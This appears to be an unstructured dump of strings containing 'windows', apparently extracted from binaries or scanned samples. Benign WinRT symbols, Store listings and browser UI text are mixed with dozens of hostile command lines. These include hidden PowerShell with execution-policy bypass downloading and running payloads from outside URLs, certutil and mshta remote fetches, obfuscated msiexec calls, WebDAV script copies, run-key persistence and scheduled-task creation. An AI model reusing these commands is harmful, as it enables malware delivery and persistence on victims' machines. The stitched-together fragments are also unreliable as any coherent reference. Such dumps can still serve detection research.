sleep-s4;cmd/cc:\windows\syswow64\rundll32.exe'c:\users\public\documents\ssd.dll',anystringn
c:\windows\
Microsoft.Windows.Globalization.Spelling
\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://foundationforwomenshealth.com/swim.hta'
c:\windows\system32\cmd.exe/c%systemroot%\system32\certutil.exe-urlcache-fhttps://
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaaigboahqadabwahmaogavac8ababpag4aawayadqalgbrahialw
7c:\windows\system32\cmd.exe/crobocopy"\\article-radio-hope-formerly.trycloudflare.com@ssl\davwwwroot\re_20wsf"%temp%jun20.wsf
c:\windows\system32\cmd.exe/crobocopy"\\integration-previous-brilliant-true.trycloudflare.com@ssl\davwwwroot\ca"%temp%eve.wsf
c:\windows\system32\forfiles.exe/pc:\windows/mwrite.exe/c"powershell.\*i*\*2\msh*ehttps://ilfiordicappero.com/temp/docs102024
c:\windows\system32\forfiles.exe/p\/mwindows/c"powershell.\*i*\\\\\\*2\m??ta.???https://pdfviewfilesmetascan.com/micky/sample
\c:\windows\system32\windowspowershell\v1.0\powershell.exe-windmin.(gcmcur*e).namehttps://wellbeingdr.com/wp-admin/
ftonline.com","login.windows.net","
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsCreateString
WindowsGetStringLen
WindowsDeleteString
yutionpolicybypass-windowstylehidden-command
ingwithwindowstakekeywordscreenshotag
\windows\currentver
$dst"-windowstylehidden
powershell-windowstylehidden-executionpolicyb\
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber
9P9CZK15QN0XHunt: Showdown 1896 (Windows)https://store-images.s-microsoft.com/image/apps.31781.14140593189327563.fd30b7d2-921f-4db8-a685-5bf1575d36e8.ecb36065-e499-4c97-9e2a-1eb8e9312fa8de
9NG0PK8SQVK2Goat Simulator: Remastered (Windows Edition)https://store-images.s-microsoft.com/image/apps.37091.13588891459442335.bfe88916-e92a-4884-8a9e-55f5c315e650.e5200d7d-18a4-48fd-bf3a-cfcf70ce2923en
9NG0PK8SQVK2Goat Simulator: Remastered (Windows Edition)https://store-images.s-microsoft.com/image/apps.37091.13588891459442335.bfe88916-e92a-4884-8a9e-55f5c315e650.e5200d7d-18a4-48fd-bf3a-cfcf70ce2923fr
9NG0PK8SQVK2Goat Simulator: Remastered (Windows Edition)https://store-images.s-microsoft.com/image/apps.37091.13588891459442335.bfe88916-e92a-4884-8a9e-55f5c315e650.e5200d7d-18a4-48fd-bf3a-cfcf70ce2923de
9MVK5W0HMRP7Golf With Your Friends (Windows Version)https://store-images.s-microsoft.com/image/apps.6387.13862246495458326.cf5e01bc-715d-42eb-ae23-68f6a922a8e0.0650b279-08f6-4183-a06c-c43f24d2f2f3en
9MVK5W0HMRP7Golf With Your Friends (Windows Version)https://store-images.s-microsoft.com/image/apps.6387.13862246495458326.cf5e01bc-715d-42eb-ae23-68f6a922a8e0.0650b279-08f6-4183-a06c-c43f24d2f2f3fr
9MVK5W0HMRP7Golf With Your Friends (Windows Version)https://store-images.s-microsoft.com/image/apps.6387.13862246495458326.cf5e01bc-715d-42eb-ae23-68f6a922a8e0.0650b279-08f6-4183-a06c-c43f24d2f2f3de
gmplementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UDialogsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IPageOverridesT@UDialogsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UDialogsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UDialogsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UDialogsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UDialogsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UDialogsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UDialogsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UDialogsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UDialogsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
dows\system32\windowspowershell\v1.0\powershell.exestart-process\"c:\programfiles\
/ministro/finanz.exeiconfile=c:\windows\system32\shell32.dll
iconfile=c:\windows\system32\shell32.dllurl=file://
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
\windows\(
C:\Windows\system32\reg.exe
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
\Windows
\Windows
sCredInject.A!NewWinLogone
K${pat','h}="c:\','windows\m','
..\windows\system32\cmd.exe/cstartc:\google\autoit3
:hklm:\software\policies\microsoft\windowsdefender
Grunthe.batfilesilentlywshshell.run('cmd/c"'+localbatpath+'"',0,true);//5.copywindowsN
\system32\for
Cnew-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
'-propertytypestring-value'c:\windows\explorer.exec:\users\
windows\system32\cmd.exe/cpowershell-windowstylehidden-executionpolicybypass-nologo-noprofile-ciex((new-objectnet.webclient).downloadstring('
regsvr32 /s \winaccestor.datC:\WINDOWS\mf6991.dll
\windows
s\system32\rundll32.exetools.dll,zykgjagzov"%+
!policybypass-noprofile-windowstylehidden-command
	s\system32\wbem\wmic.exeK
32\windows,
@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
c:\windows\system32\cmd.execmd/cpowershell-exby
a-z=c:\windows\temp\
system32\cmd.exe/cpower
Osetway=system32\drivers\etc\
WindowSize
encodeURIComponentForWindowsProtocol
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe!App
microsoft.windows.camera.picker
microsoft.windows.camera.multipicker
microsoft.windows.camera
Microsoft.WindowsCamera_8wekyb3d8bbwe!App
principal.windowsidentity]::getcurrent()
windows\currentversion\uninstall\savesys
@%SYSTEMROOT%\system32\ipconfig /release
windowsapp1w
Trojalot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
oc:\windows\system32\cmd.exe/c"default\appdata\
Microsoft.Windows.Graphics.DirectWrite
'Apowershell.exe-windowstylehidden$(gc
Windows.Networking.ContentPrefetcher.Internal
yChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@UUsersPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIPerformancePageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIPerformancePageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producer@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UPerformancePageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIPerformancePageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$implements@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
cmd.exeeditedfortv/d/v/c^s^ta^r^t^ms^ie^x^e^cuzh=l^p^yz^h/^fv"http://0p.rs:8080/ywbi2f5j2qoor19/xx/fwqzvgzuyzy7digp/!computername!"/^qn^hfk=^evl^s^j^mu%windir%\system32\shell32.dll%
\windows\system32\cmd.exe/y/q/c^st^a^rtmsi^e^x^ec/qej^b^k=mq^u-fv"http://3z.nu:8080/bgadl/u6oqgup6jz4/zmwqk41/bvwcrwknfpjs3d64edtr/%computername%"^amjs^iof^m^h=d^o^r^wo^ushell32.dll
(c:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'https://silverline.com.sg/admin/xdfiifagcwrbrg.exe'-outfile$env:temp\file.exe;start$env:temp\file.exe
zc:\windows\system32\windowspowershell\v1.0\powershell.exe-whid-noni-epbypass-c"start-job-name
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\temp\svchost.exe
!#ALF:Y2V:Arnim_Rupp/HKTL_NET_GUID_WindowsPlague
windowstylehidden-c(new-objectnet.webclient).downloadstring('https://1cbit-dev.com/
c:\windows\system32\cmd.execmd/cmshta.exejavascript:getobject('script:https://cutt.ly/7tnz12c');;;close();;
oshell.run"bitsadmin/transfer8http://www.uplooder.net/f/tl/84/95c3299ce715891106b033fc6762751f/windows.exe"
shut.writeline"regaddhkcu\software\microsoft\windows\currentversion\run/f/vnc/dc:\users\public\notice1.bat"
3schtasks/create/xmlc:\programdata\windowscomsvc\asc.xml/tn"\microsoft\windows\windowscomsvc\windowscomsvc"
 .exec "c:\\..\\..\\..\\windows\\" + 
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
4:\users\n3o\appdata\local\microsoft\windows\inetcache\content.word\L
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
PASWindowsComposer"
          other {Administrator Anda secara otomatis menutup Microsoft Copilot ketika tidak digunakan selama # menit.}}Lanjutkan menggunakan Microsoft CopilotHelp us improve Microsoft CopilotOrang tua Anda telah menonaktifkan "Izin untuk situs, aplikasi, dan ekstensi" untuk Microsoft CopilotOrganisasi Anda dapat melihat dan mengelola data penjelajahan, seperti bookmark, riwayat, dan kata sandi. Organisasi tidak dapat melihat data penjelajahan di profil Microsoft Copilot lainnya.Dapatkan keamanan terkuat Microsoft CopilotKami telah membuka file Anda agar dapat dilihat dengan cepat dan mudah langsung di Microsoft Copilot. Pilih Unduh file jika Anda ingin menggunakannya nanti.Microsoft Copilot mencoba mengisi kata sandi. Ketik kata sandi Windows Anda untuk mengizinkan ini.copilotupdateLayanan Pembaruan Microsoft CopilotLayanan Internal Pembaruan Microsoft CopilotSelalu perbarui perangkat lunak Microsoft Copilot Anda. Jika layanan ini dinonaktifkan atau dihentikan, perangkat lunak Microsoft Copilot Anda tidak akan diperbarui, yang berarti kerentanan keamanan yang mungkin timbul tidak dapat diperbaiki dan fitur mungkin tidak berfungsi.Microsoft Copilot untuk BisnisTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign in againThe Microsoft Copilot team has been notified of this issue. Please try again later.You may have a network capture tool open, so Microsoft Copilot can.
3\system32'|where-object'name'-like'?s??x?c.e?e')/q/i"""ht"""+"""tp	
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FGetParentComponentManager
System.Windows.Forms.UnsafeNativeMethods.IOleClientSite.GetMoniker
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetMoniker
System.Windows.Forms.UnsafeNativeMethods.IOleObject.SetMoniker
-tk\system32/mc"al"c.exe
Microsoft.WindowsAlarms_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Block84}x
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy-Out-Block2
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-Out-Allow-Intranet
$MicrosoftWindows.Client.OOBE_cw5n1h2txyewy-In-BlockQ
    <xs:attribute name="ServerName" type="t:ST_AsciiWindowsId" use="optional"/>
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Devices.Enumeration.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.Collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Data.Json.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Json.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Devices.Enumeration.h
	S\System32\Ope
icrosoft\WindowsApps
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
WINDOWS\system32;
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.17
 oZddos.tfinvest.f3322.netWindows Help System Myssj
 = HIDDEN_WINDOWSet
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
UnhookWindowsHookEx
SetWindowsHookEx
IWindowSplitterControlFactory
get_WindowSplitterControlFactory
set_WindowSplitterControlFactory
m_dockWindowSplitterControlFactory
DefaultWindowSplitterControlFactory
Windows.ApplicationModel.Appointments.AppointmentInvitee
Windows.ApplicationModel.Appointments.AppointmentManager
Windows.ApplicationModel.Appointments.AppointmentOrganizer
Windows.ApplicationModel.Appointments.AppointmentProperties
Windows.ApplicationModel.Appointments.AppointmentRecurrence
Windows.ApplicationModel.Appointments.AppointmentsProvider.AppointmentsProviderLaunchActionVerbs
Windows.ApplicationModel.Appointments.AppointmentStore
Windows.ApplicationModel.Appointments.FindAppointmentsOptions
Windows.ApplicationModel.AppService.AppServiceCatalog
Windows.ApplicationModel.AppService.AppServiceConnection
WindowsTokenRoleProvider
c:\windows\system32\
software\mICROSOFT\wINDOWS nt\cURRENTvERSION\sVCHOSTvnw==
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
%Microsoft Windows Production PCA 20110
Microsoft Windows0
)MicrosoftWindows.Client.CBS_cw5n1h2txyewy
NC:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
wechotx.writeblanklines(100000000)>>%systemdrive%\windows\system32\rundll32.vbs
.exe"-windowstylehidden;
`\microsoft\windowsdefender
:SGProvides basic host functionalityEYServiceWindows Host 
&.ps1|iex'-windowstyle?
\Windows Updater.lnk
/c:\windows\system32\
temRoot%\system32\mswsock.dl
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
VolumeToolTipSpatialSoundWindowsSonic
TwoWindowSplitLayout
WindowsUpdate_Logo.svg
.Create "C:\Windows\System32\mshta.exe 
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe1
      <xs:enumeration value="windows.aowApp"/>
      <xs:enumeration value="windows.mobileMultiScreenProperties"/>
      <xs:enumeration value="windows.communicationBlockingProvider"/>
      <xs:enumeration value="windows.phoneCallOriginProvider"/>
      <xs:enumeration value="windows.fullTrustProcess"/>
      <xs:enumeration value="windows.startupTask"/>
      <xs:enumeration value="windows.toastNotificationActivation"/>
      <xs:enumeration value="windows.searchProtocolHandler"/>
      <xs:enumeration value="windows.appPrinter"/>
      <xs:enumeration value="windows.searchFilterHandler"/>
      <xs:enumeration value="windows.searchPropertyHandler"/>
      <xs:enumeration value="windows.mailProvider"/>
      <xs:enumeration value="windows.firewallRules"/>
      <xs:enumeration value="windows.desktopEventLogging"/>
      <xs:enumeration value="windows.cloudFiles"/>
      <xs:enumeration value="windows.autoPlayHandler"/>
      <xs:enumeration value="windows.fileExplorerContextMenus"/>
      <xs:enumeration value="windows.service"/>
      <xs:enumeration value="windows.mutablePackageDirectories"/>
      <xs:enumeration value="windows.customInstall"/>
        <xs:enumeration value="windows.approvedShellExtension"/>
        <xs:enumeration value="windows.controlPanelItem"/>
        <xs:enumeration value="windows.service"/>
        <xs:enumeration value="windows.mailProvider"/>
        <xs:enumeration value="windows.shortcut"/>
        <xs:enumeration value="windows.applicationRegistration"/>
        <xs:enumeration value="windows.desktopAppMigration"/>
        <xs:enumeration value="windows.systemFileAssociation"/>
        <xs:enumeration value="windows.shadowCopyExcludeFiles"/>
        <xs:enumeration value="windows.errorReporting"/>
      <xs:enumeration value="windows.mutablePackageDirectories"/>
      <xs:enumeration value="windows.userMutablePackageDirectories"/>
      <xs:enumeration value="windows.eventTracing"/>
      <xs:enumeration value="windows.fileExplorerClassicContextMenuHandler"/>
      <xs:enumeration value="windows.fileExplorerClassicDragDropContextMenuHandler"/>
      <xs:enumeration value="windows.folder"/>
      <xs:enumeration value="windows.dataShortcuts"/>
      <xs:enumeration value="windows.customDesktopEventLog"/>
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
WindowsOobeAppHost.AppX9g38f7ck9dycet3v4dtd5skcn8z020zj.wwa
System32
%\Windows\
Microsoft EdgeThis policy is ignored because the RestoreOnStartupURLs policy is not set to be mandatory.Edgeen-US,enwindows-1252Times New RomanCourier NewConsolasArialComic Sans MSImpactCambria Math,Noto Sans JP,Noto Sans CJK JP,Meiryo,Yu Gothic,BIZ UDGothic,MS Gothic,Noto Serif JP,Noto Serif CJK JP,Yu Mincho,MS PMincho,Noto Sans KR,Noto Sans CJK KR,Malgun Gothic,Noto Serif KR,Noto Serif CJK KR,Batang,Noto Sans SC,Noto Sans CJK SC,Microsoft YaHei,Noto Serif SC,Noto Serif CJK SC,Simsun,Noto Sans TC,Noto Sans CJK TC,Microsoft JhengHei,Noto Serif TC,Noto Serif CJK TC,PMingLiUKaiTiDFKai-SBSegoe UIGulimcheGungsuhNSimsunMingLiU6en-USFavorites barOther favoritesMobile favoritesWorkspaces favoritesManaged favoritesOfficehttps://www.office.comThumbnail removed.Don't show on this pageUndoRestore allTheme created byNew tabTop SitesSearch or enter web addressAdd shortcutEdit shortcutNameURLRemoveCancelDoneEnter a valid URLShortcut removedShortcut editedShortcut addedRestore default shortcutsWe can't create that shortcutCan't edit shortcutCan't remove shortcutDefaultDiscover extensions for Microsoft Edge.Web StoreMicrosoft StoreShopping insightsCustomize EdgeAbout this pageReading listHistoryGrouped historyImage SearchNew &InPrivate window&Print&Clear browsing data&Browser task manager&Developer toolsSend tab to your devicesT&ranslate
\system32rgtcvc32.dll
ROOT\Microsoft\Windows\RemoteAccess\Client
ROOT\Microsoft\Windows\RemoteAccess\Client
ROOT\Microsoft\Windows\RemoteAccess\Client
Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_neutral_split.scale-100_8wekyb3d8bbw
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Windows.Data.Security.Vault.WebCredentials
SCWindows.Data.Platform.Encryption.StructureValue
